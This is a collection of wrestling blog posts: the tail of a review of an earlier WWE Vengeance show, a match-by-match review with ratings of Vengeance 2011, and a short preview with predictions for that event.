Cena takes a cane shot from Sandman and Sabu hits the Triple Jump as he becomes an Olympian apparently. He hooks that horrible looking one armed camel clutch of his as Cena makes his comeback. And a low blow stops that. Lawler HATES ECW. That’s an understatement if there ever was one. The big fight finally breaks out so Cena goes to the floor and hits an FU on Richards to put him in the crowd. Sabu throws a chair at Cena and it wraps around his head in a cool visual.

Cena pelts it at Sabu and hits an FU over the top through a table. When I say through I mean Sabu hits the edge of the table and looks like he broke his back. He taps to the STFU to just further bury ECW as this wasn’t even 7 minutes.

Rating: D. What a mess this was. I have no idea what the point of this was other than to just get Cena on the card somehow. This wasn’t any good at all and I can’t really blame Sabu for it as this was going to be bad no matter who was in it. I’m still trying to get the point of this and I think it’s in vain.

Cena and Van Dam have a staredown. Van Dam respects him and offers him a title shot tomorrow on Raw. They shake hands and it’s kind of a cool moment. Pretty sure Edge interfered to set up the triple threat the next week where Edge took the belt.

We recap DX vs. Vince, which is over Shawn telling Vince to grow up. So Vince got male cheerleaders to beat him up. This was terrible so it went on for months. This of course gets the longest buildup of anything on the show. DX slimed the SS on Monday. I kid you not, they dropped slime on them.

Spirit Squad vs. DX

Oh and for their big return, DX comes out first of course. This whole show is making my skull ache. So there is NO DRAMA here at all, even though the SS are the tag champions. This show needs to end, and they saved the worst for last. No one buys this as a legit challenge and they shouldn’t. It’s one fall, and the current OVW Champion is on the heel team.

Also Ross points out that the Squad has never beaten DX. That’s just brilliant: point out that this has been one sided. The Squad has air horns and matching outfits and all that jazz. Shawn and Mitch start us off. If my memory is right, he’s the least talented one. Let that sink in for a bit. Shawn gets ganged up on in the corner and beats all five of them up. Give me a break. HHH finally comes in since Shawn hasn’t broken a sweat yet.

This is pointless and I know this match has just gotten started. Johnny gets his nose busted up and comes in. He, I kid you not, pulls out a bandana with a Japanese sun and Japanese characters on it and pretends he’s the Karate Kid. A comedy match is ending the PPV. Shoot me. Please. HHH hits the Flair knee drop to further mess up his nose. Johnny is talented too but he was just too small to be worth much. And now he gets pantsed.

A quadruple team gets HHH so close to trouble that he can see it with a telescope. And he’s fine in like 8 seconds and tags Shawn to no pop at all. Shawn does his usual stuff and hits the elbow. Mikey hits what we would call Trouble in Paradise and actually gets a cover! Kenny gets a chair shot that comes maybe a foot away from Shawn’s head but whatever. Mitch gets a running start and jumps on a trampoline to get from the floor over the top rope for a bulldog.

I hate this match. I truly do. Shawn’s beating gets about as much heat as Antarctica so HHH comes in and beats them up. Mikey messes up on the trampoline so four of them are down. Kenny, for lack of the better term the leader, takes the Pedigree to end it. Mitch gets his face shoved into HHH’s back to end it with a Vince staredown.

Rating: F. The main event of a PPV had a guy being pantsed, air horns and trampolines. Do I need to make fun of this? There was NO drama at all here and it was more or less one sided the whole way. Horrible match so of course it got 18 minutes.

Overall Rating
: D-. I wanted this show to end after the Edge/RVD match. For the life of me I cannot see any reason for the matches going in the order they did. At least Van Dam vs. Edge was fairly good, but to have three matches go after it? I get that for a major show like Mania or Summerslam, but this is Vengeance for crying out loud. Did we need to see the 5-2 beatdown for nearly 20 minutes? I certainly didn’t.

I mean look at this card. It looks like a decent house show. Either way, this didn’t work at all for me and was just a flat out bad show with no matches worth going out of your way to see at all. Awful show but we reunite the brands next year so that’s a good thing.

 

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Vengeance 2011 – Tweet This: No Need For This Show

Vengeance 2011
Date: October 23, 2011
Location: AT&T Center, San Antonio, Texas
Commentators: Michael Cole, Booker T, Jerry Lawler

We’re finally at the last PPV before Survivor Series and the end of the three PPVs in six Sunday run that happens every fall in WWE. The main events are nothing to write home about as we have a rematch with a gimmick on the Red side and a rematch from a few months ago on the Blue side. I still say this show doesn’t need to exist but that’s WWE for you. Let’s get to it.

We open with a video about the three main events and the almost required Pulp Fiction vengeance upon thee lines.

Tag Titles: Air Boom vs. Dolph Ziggler/Jack Swagger

Who exactly is Vickie wanting to be quiet? She’s the only one talking. It’s like she’s being overly loud and annoying for the sake of getting on the fans’ nerves. Air Boom has new music and their color of the night is red. Dolph and Kofi start us off. Now there’s a rivalry. Dolph has tights that have so many colors in them that RVD would be jealous. There’s red, white, blue, a darker red and what looks to be a flag pattern on it. Also it looks like a singlet with the straps down.

Kofi takes over to start and hammers on Dolph, getting two off a monkey flip that sent Dolph over so hard that he landed on his face. Bourne comes in and gets two. It’s so weird to hear Bourne listed as 165lbs. Swagger comes in and gets rolled up for two before it’s back to Kofi. He tries to go up but since AMERICA is better than Ghana, he catches him in a powerslam for two.

Sweet dropkick by Dolph puts Kofi down and we’re told that immediately after this it’s Ryder vs. Ziggler. That’s very intriguing. I can’t imagine Dolph leaves as a double champion. And there go Booker and Cole. To be fair we were a full twelve minutes into the show so you can’t expect the two grown adults in their 40s to maintain their composure much longer than that.

Lawler makes really bad Vickie jokes as it’s a hot tag to Bourne. He fires off his jumping strikes and gets a kick to Jack for two. The Shooting Star gets loaded up but Dolph makes the save and Evan lands on his feet. Now he fires off the Shooting Star but it eats knees. You could tell Jack was scared to death for that one. Dolph works on an armbar as the announcers debate who should have a talk show on the WWE Network. That thing is going to be a trainwreck.

Vader Bomb gets two for Swagger. The crowd is into this show so far. They’ve cut to Vickie about 8 times so far. Swagger goes after Kofi to break up a tag which gets him rolled up for two. Ankle lock is countered and Swagger is sent to the floor. Dolph goes old school heel to make sure the tag isn’t seen, but Jack pulls Kofi off the apron anyway. Back to Ziggy and this match is getting some time. Nice to see the PPV getting the longer matches like it’s supposed to.

A second Vader Bomb misses and Kofi comes in to clean house. He hits the big cross body for a VERY close two on Ziggler. Boom Drop hits the same guy which is a move I haven’t seen in awhile. Trouble in Paradise misses but the SOS gets two. Trouble in Paradise is caught in the ankle lock but Bourne comes in with the double knee to Jack to take them out. Dolph rolls up Kofi with tights for two but walks into the kick to set up the Shooting Star for the pin to retain at 13:30.

Rating: B.Good old fashioned tag match here with a very hot finish. I was digging this and it’s very cool to see an actual tag title feud like this with a pair of established (mostly at least) teams. Air Boom holding the titles for awhile and defending them almost every week it seems is really helping them out. Fun match and I had a really good time with it.

US Title: Dolph Ziggler vs. Zack Ryder

This starts almost immediately with Dolph barely back to his feet. Zack doesn’t run straight at him but Dolph is barely moving. Ryder pounds him into the corner and Air Boom/Swagger/Vickie are still at ringside. Ryder gets a forearm for two and a whip into the corner gets the same. Dolph grabs a neckbreaker to get a breath of air. The fans are all behind Ryder.

Dolph is knocked to the floor so Air Boom throws him back inside. That gets them ejected and they’re stunned by this. The fans are all over Vickie and have been all night. Flapjack gets two for Ryder. I’m glad they didn’t have Ryder run out there and steal the title. Ryder misses a cross body and hits the ropes to put both guys down. My goodness Ziggler is technically a Triple Crown winner.

Ziggler is in total control here. Naturally as soon as I say that he misses a splash. Naturally as soon as I say that he avoids the Broski Boot and hits a Fameasser for two. The fans are staying into this or are at least into the near falls. Ryder gets the knees up in the corner and he has blonde hair now. Broski Boot hits but Vickie has the referee. Zig Zag is countered and down goes Swagger. Dolph fires off a superkick that totally missed but it’s enough for the pin at 6:10.

Rating: C-. Very basic match here and there was nothing going on in it at all. I don’t really get the booking here at all: they set up Ryder perfectly to have him take the title here and then they just don’t do it. At least it could have been worse though. I mean, can you imagine a company spending three months building up someone to get a title and then keep it on the guy that has nowhere to go with the title because they just decided at the last minute that it was the right move?

Punk is talking to DiBiase of all people when HHH comes up. There’s no rah rah speech but Punk wants to make it clear to Awesome Truth that it’s an unsafe working environment now rather than what it was when HHH was in charge.

Divas Title: Eve Torres vs. Beth Phoenix

We get a clip from earlier in the day with the evil girls attacking Kelly as Eve makes the save. I guess Kelly is Crazy is going into the pool of the forgotten right? Eve has new music too and it sounds awful. At least we can look at her awesome legs. Kelly and Natalya are banned from ringside. Eve grabs a sunset flip to start and we’re talking about Beth’s underwear for some reason.

They fight over to the ropes…and Beth is now handcuffed to the ropes via something on her own outfit. Eve kicks away and Beth is free. Uh, point to that? Beth takes over on the floor and gets two back in the ring. The fans are bored out of their minds here which is saying a lot as they were hot for the first half hour.

Gutbuster kind of move gets two and we’re off to our second rest hold in a minute. Beth slaps her head and screams at her to cry. Eve starts her comeback and puts Beth down with a clothesline and a flipping splash for two. Eve gets some kind of choke out while she on Beth’s shoulders and it turns into something resembling a triangle choke. The cool looking submission doesn’t work though because that might get it over as a finisher and Eve has one of those already. Glam Slam is countered into a rollup for two. Eve gets a kick in and goes up for the moonsault but Beth moves. Glam Slam ends this at 7:16.

Rating: D+. I’ve watched a lot of wrestling in my time and I don’t recall a division or story that I was less interested in than the Divas in WWE at the moment. I mean there is nothing of interest or note at all about them. They kill the crowds other than Kelly and the matches are as unnatural looking as any I’ve ever seen. I mean there is nothing interesting to them at all and I dread watching them every show. The match wasn’t bad. I just didn’t want to watch it.

Big Show says he’s back tonight and that better is better, not bigger. He says 3 seconds doesn’t end 15 years of failure for Henry. The military thing doesn’t really work for Big Show. Show gets in Striker’s face and says he’ll get Vengeance.

Ad for the Bret vs. Shawn DVD, which if my memory is correct, the Screwjob match is only on the Blu-Ray.

Christian vs. Sheamus

No recap here which is a nice time saver. Christian stalls before we get started. It’s a brawl to start and Sheamus takes that easily. The Canadian is beaten down into the corner as Cole repeats a line from Lawler. Sheamus gets Christian in the ropes and pounds away. Booker calls them Irish Hand Grenades. Cole says it’s called the Unreastra. It’s an Irish thing of some sort.

Christian comes back with a neckbreaker and then a neckbreaker followed by a punch and then more punches. A mixed set of moves isn’t his strong suit tonight. Cole lists off their resumes like JR lists off football stats back in the 80s. Hearing all of those title reigns for everyone makes them seem a little weak but whatever. Middle rope missile dropkick hits but the Swan Dive misses.

Cole says this is the second match trending worldwide on Twitter tonight. Yes boys and girls, stop watching the show and go look at Twitter instead! Sheamus hits a fallaway slam for two. Christian tries to charge at him but gets caught by a slingshot shoulder block for two. A gorilla press is countered and Christian pops off a right hand and the reverse DDT for two.

High Cross is countered as is the pendulum kick. Is Sheamus channeling Scott Hall lately? With the fallaway slam and the Edge I think he is. Irish Curse is countered into a Killswitch attempt but Christian gets caught in another High Cross attempt. Christian gets out and hits two pendulum kicks but jumps into the Irish Curse for two. Spear counters the Brogue Kick but it only gets two because Christian has no business using the spear.

Sheamus goes up top as this is trending on Twitter too. WHY SHOULD WE FREAKING CARE ABOUT TWITTER??? The people hearing about this have already bought the show so why are you trying to sell it to us again? Sheamus gets caught in a hurricanrana off the top but kicks Christian’s head off in another spear attempt for the pin at 9:37.

Rating: C+. Not bad here but dude, we’ve seen it how many times on Smackdown already? Christian using the spear is getting on my nerves (small guy using a power move) but Cole talking about how everything is on Twitter is really getting to me. I mean, WHO CARES ABOUT TWITTER??? Oh wait. It makes Vince think the world cares about his stuff and that he’s been accepted by the mainstream audience. Never let it be said he doesn’t cater things to himself at times.

Otunga and Ace are chatting when Awesome Truth comes up. Otunga leaves and the tag team sucks up to Ace a bit. Ace: “I think you could be the greatest tag team in the world.” Awesome Truth: “Really?” Ace: “No, but you guys suck up well.” Ace leaves and they get in an argument about who is better at sucking. Then they say HHH and Punk suck. Is there a point to this? This goes on way too long and they say they don’t like Texas.

We recap HHH/Punk vs. Awesome Truth with a video that I think aired on Smackdown. This eats up like 3 minutes and is about chaos that has been running wild on Raw since MITB. Good video though.

Awesome Truth vs. HHH/CM Punk

Miz vs. Punk to start us off. That goes nowhere so it’s off to Truth vs. HHH. The Game is still COO, but he doesn’t run Raw anymore. Ok then. Nothing at all in the first two and a half minutes. HHH takes over on Truth and the fans react big. Back to Punk who gets a chant and a falcon arrow for two. HEY! Two things are trending on Twitter that are related to WWE!

This has been going on over five minutes now and there is nothing to say. HHH and Punk even cheat like heels while Punk has Miz in an armbar. We talk about the immigration issue from Monday and it sounds like something that isn’t going to mean anything in a few days but will probably be a big plot point soon enough. Awesome Truth takes over on Punk and there’s a chinlock.

HHH has a little bit of a gut on him now. Off to Gutty McGame who cleans house and puts both guys on the floor with a double clothesline. Cole goes into a political rant about Republicans being on the fence to make fun of Booker and I have no idea what Booker’s original point was. HHH gets beaten down for awhile now as Lawler and Booker try to debate heel philosophy. Booker apparently cursed during that as Lawler says younger children need earmuffs when he talks.

Booker tries to claim the credit for “if you’re not cheating, you’re not trying.” And in Texas of all places. HHH gets beaten down for a little while longer and Truth hooks on a figure four headlock. HHH stands up and hits an electric chair (why is it called that anyway) drop and then a DDT to set up the hot tag to Punk. Punk beats up Miz and stops to look at the camera in a creepy way. Truth breaks up the elbow but HHH stops Truth.

Macho Elbow hits and it’s GTS time. Miz is enough of a main event guy to escape it though. We watch Truth vs. HHH on the floor and Nash is back. He drills HHH and puts him down. Back in the ring, Miz and Truth hit a combination jumping downward spiral and Finale, which is called the Little Jimmy Finale for the pin on Punk at 15:03.

Rating: D+. Totally boring main event tag match here and Nash returning made me roll my eyes. It’s setting up Nash vs. HHH in some way which is something that no one but HHH and Nash want to see. The match was just boring because nothing changes because of it. The ending just gives us more questions and Punk now gets pinned before he’s allegedly going into the title picture. Great.

Nash beats up HHH post match and Jackknifes him. That looked a bit botched.

Alberto comes up to talk to Ace in the back and rants about the last man standing match. Ace says it’s an opportunity and Del Rio says he’ll find a way to win.

Cody Rhodes vs. Randy Orton

Non-title here. Randy takes over to start but Cody gets in a mask shot to take over. More Twitter things that are tweeting. There’s even a graphic to say what’s on there now. I give up. Cody throws on a Boston Crab which Randy eventually escapes with a kick to the face. Alabama Slam gets two for Rhodes. Cody busts out a moonsault but Randy moves. I guess he’s channeling his inner Angle.

There’s the powerslam but Cody blocks the DDT and goes up. That doesn’t go so well as he jumps into a dropkick. Beautiful Disaster gets two for Rhodes. The DDT is countered again and Orton gets his backbreaker for two. That sweet over the shoulder neckbreaker gets two. They go up to the corner and Cody gets a headbutt with the mask to set up a moonsault press for two.

One of the baggers distracts Randy so that Cody can hook Cross Rhodes for two. He’s shocked but welcome to the main event Cody: finishers mean jack. Now Rhodes loads up an RKO (yes that’s correct) but Randy counters into the elevated DDT. The other bagger pops up but Cody is shoved into him. RKO and pin at 12:08.

Rating: C+. It’s nice to see Orton out of the title picture for a bit but I’m not sure what the point of this was. Rhodes got to look good but the Baggers had no point being there. I can’t complain about the champion losing here because he isn’t ready to beat Orton, but this rubs me the wrong way for some reason. Decent match though.

Rock is at Survivor Series. Thank goodness.

We recap Show vs. Henry. Henry injured him, Henry won the title during Show’s injury time, Show wants the title for revenge.

Smackdown World Title: Big Show vs. Mark Henry

They fight over a lockup to start and Henry pushes him into the corner. Show gets to fire away at the ribs and the obvious question comes into play: why not use the big right hand that you know can knock Henry out cold? Show throws him back in and manages a superkick to put Henry on the floor. WE’RE TRENDING PEOPLE!!! WE’RE TRENDING!!! Henry tries to leave with the title but that goes nowhere.

A big slam hits Show to put him down and it’s all champion now. Off to the leg now and Henry works on it by laying on it. You can’t say he isn’t practical. Show tries to slam Henry but the leg gives out. Back to the leg for more cranking which goes on for a few moments. They hit the ropes and collide to put both of them down. They slug it out from their knees. Even from his knees Show is still taller than the local luchador.

Show makes his comeback with punches and clotheslines. Into the corner and it’s time for the power of fat to take over. That would be bald white fat instead of haired black fat. He loads up the chokeslam which hits clean but Henry kicks out at like 2.1. So is the punch his official finisher? The Punch is countered into the Slam for two. That would have been a horribly awkward ending if that had been it.

Hang onto your nachos with barbecue sauce: Mark Henry is going to the top rope. Show manages to throw him off with what is supposed to be a chokeslam and Henry kicks out again. Show is stunned and I can’t say I blame him. The announcers didn’t really react to the chokeslam that well either. Now Show is looking at the corner. Oh dear. Show goes up but Henry makes the save and keeps the planet’s tides from changine. Henry hits a superplex and there goes the ring. Not as good of an explosion as Lesnar, but still pretty good. Both guys are down and the match is thrown out (I guess) at about 12 minutes.

Rating: B-. Battles of the giants are always fun and this was no exception. There’s nothing wrong with having two big guys out there hitting each other really hard and this worked too. The ring breaking is really cool and you don’t need a ring for a last man standing match so that’s all cool. The show was looking to run short also so they needed something like this. Fun match and it sets up a gimmick match in New York.

They’re still down so here are Long and Ace. What role does Ace have here at all? Henry is still down but Show is up on his knees. Show gets on the cart and is holding his neck. He’s talking and cursing though. Henry actually falls out of the ring and is still trying to get up. He shoves the referees away and collapses. Henry stumbles up the ramp as he’s selling this thing to death.

Ace gets on the mic and says the title match is still on. He slips up (intentionally) and says it’s what he wants, not what the fans want.

We recap this feud, which can be summed up as Cena’s rematch after losing the title in a triple threat in the Cell.

Raw World Title: John Cena vs. Alberto Del Rio

Last man standing. Cena has a new shirt that says Rise Above Hate. More anti-bullying stuff even though that fad/movement is pretty much over. He walks up to a fan at ringside wearing a “We Hate Cena” shirt and gives him a little smirk. The guy has no idea what to do so Cena throws his hat over near him and gets in. The guy in the shirt was stunned.

Rodriguez jumps Cena and gets the advantage for Del Rio. Cena is in camo shorts here instead of the usual jeans. They’re actually in the broken ring. We talk about the ring collapsing and Jerry actually says Lesnar’s name. They head out for some brawling and Cena takes over back inside. I’m not going to bother mentioning the counts because they’re not going to come close until about ten minutes in.

Rodriguez has a big black eye. Belly to back puts Cena down and a second one puts him down again. Make it three of them. The ring is at a slant now. This really is a unique look. AA is countered into a Backstabber as Del Rio takes over again. He keeps going to the corners for some reason. Del Rio fires off some more suplexes but Cena counters and starts his finishing sequence. He looks for ropes for the Shuffle and has none in a funny bit.

AA is countered and the Mexican hits a German on the American. Cena hits a gutwrench suplex and they’re both down. A tilt-a-whirl backbreaker puts Cena down but Del Rio breaks it up. They have a good explanation for it though: why let Cena have a break when you know he’s getting up? Alberto puts Cena under the ropes and part of a post so he can stomp on it, getting about seven and Del Rio charges into the AA.

That only gets about 8 and Ricardo comes in to break up another AA. Cena fires off move #19, a big boot, to take Ricardo down. Alberto uses the distraction to try the armbreaker but Del Rio grabs a rear naked choke which slips into a sleeper instead. The referee checks the arm because….because…..because he’s not that smart. Cena is out and Del Rio has to be up to let the count begin, despite that not being a rule so far throughout the match.

Cena is up at like 7 and Del Rio is tossed into the barricade (no ropes remember) in a great looking crash. This is only the second time they’ve been out of the ring. Cena loads up the steps but goes into them according to Wrestling Law #2 (#1 is the table version). Rodriguez tries to cheat again but gets crotched on the post. Cena puts Alberto onto the post to teeter tot the post into Ricardo’s balls. Ok that was clever.

More steps are set up but Cena goes into them head first this time. Lawler says the steps weigh 400 pounds. So in other words, Del Rio and Cena could lift about half a ton if they were trying. A step shot to Cena like the one he hit Del Rio with on Monday gets 8. They fight into the back which is where things get interesting. Del Rio goes onto what looks like a catering/drink table and Cena is all fired up.

There’s a large anvil case (taller than Cena by about two feet) and far wider and Cena tries to drop it on Del Rio. He shoves it over but the champ moves. That would have killed him so that’s a good thing. Del Rio slams Cena onto the case and I think he breaks it. Cena is up at seven but back down at 8. Del Rio drops a big metal thing onto Cena (part of the interview set) and then shoves another onto him. Cena is getting buried AND THE INTERNET REJOICES!!! There are like five of them on him and he’s not moving. Jericho did this to Kane at Armageddon 2000.

Cena is like screw these five big metal objects on me and is up at 8. I love when wrestling just gets ridiculous like that. Rodriguez gets involved again and Cena is thrown through what looks like a cheap wooden V that the set is made of. He’s not on his back so we can’t count. Del Rio sets up a regular table (bigger pop than anything else in the match) and climbs up the set for no apparent reason. Cena pulls him down and he crashes through the table and Alberto is up at 9.

They fight over to the equipment stuff and then into the crowd. Ok they’re back at ringside now and onto the announce table. Cena throws Alberto into the barricade and takes out Ricardo for about the 9th time for fun. Alberto tries the running enziguri against the post but misses, probably breaking his leg. Cena loads up the steps for the third time and I think it’s Super AA time. You know, instead of letting the guy with a probably broken leg stay there.

Cena can be kind of a jerk in these matches you know? Yep it’s Super AA time and the Spanish Announce Table (trademark) explodes. That looks to be in but Awesome Truth runs in to beat down Cena. The referee stops looking at Del Rio as Miz hits the Finale and Truth hits Little Jimmy (the 10th name for his finisher) to put Cena out. Del Rio is up and Cena STILL gets up at 9. This is downright comical. There’s a belt shot and that’s finally enough to beat Cena at 27:00.

Rating: B. I’d call this match fun more than good. It’s when you get to the period of “can you top this and mix it with cartoon stuff that would kill people but only gets 9 counts that things get interesting. The idea here is it was Cena’s match but Del Rio found a way to win. I had fun with it and while I’d have liked something better than a belt shot to end it, it was still fun overall.

Cena looks messed up in the eyes.

Overall Rating: C-. Well the last two matches helped it A LOT but the rest of it was just weak. There was no reason for this show but it kind of gives us some closure to this segment of the year. With this ending we’re going to go into the Rock time which is what we’ve needed to do for awhile. This brings up the mentioned Survivor Series match with Miz/Truth being the two main heels on it. Not the worst show ever, but the first two hours or so were pretty weak.

Results
Air Boom b. Jack Swagger/Dolph Ziggler – Shooting Star Press to Ziggler
Dolph Ziggler b. Zack Ryder – Superkick
Beth Phoenix b. Eve Torres – Glam Slam
Sheamus b. Christian – Brogue Kick
Awesome Truth b. CM Punk/HHH – Little Jimmy Finale
Randy Orton b. Cody Rhodes – RKO
Mark Henry vs. Big Show went to a no contest
Alberto Del Rio b. John Cena when Cena couldn’t answer the ten count

 

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Vengeance Preview

I figured that’s a better title than PPV Predictions as I’ll have some general thoughts in this as well.

 

As I’ve made very clear, this is a show that doesn’t need to exist.  The HIAC show should be moved to this date, or in a perfect world HIAC wouldn’t exist as a PPV but we’re splitting hairs here.  This show seems like a cutting off point as just after Sunday we start the build for Survivor Series and ultimately, Wrestlemania.  It seems like they’re just in a holding pattern until then, which isn’t a good thing for the most part.

 

As for the matches, I’m going to take Henry, Alberto and HHH/Punk.  My guess would be Kane returns around the end of the year and fights Henry at the Rumble.  Cena doesn’t have anything to do if he wins the title again and if they’re smart, they’ll let the title and Cena be apart for awhile as you can have two draws for the Mania build period.  Cena vs. Rock is bigger than the title anyway.  You need to have a face win in there so there’s the tag match stuff.

 

Thoughts/predictions?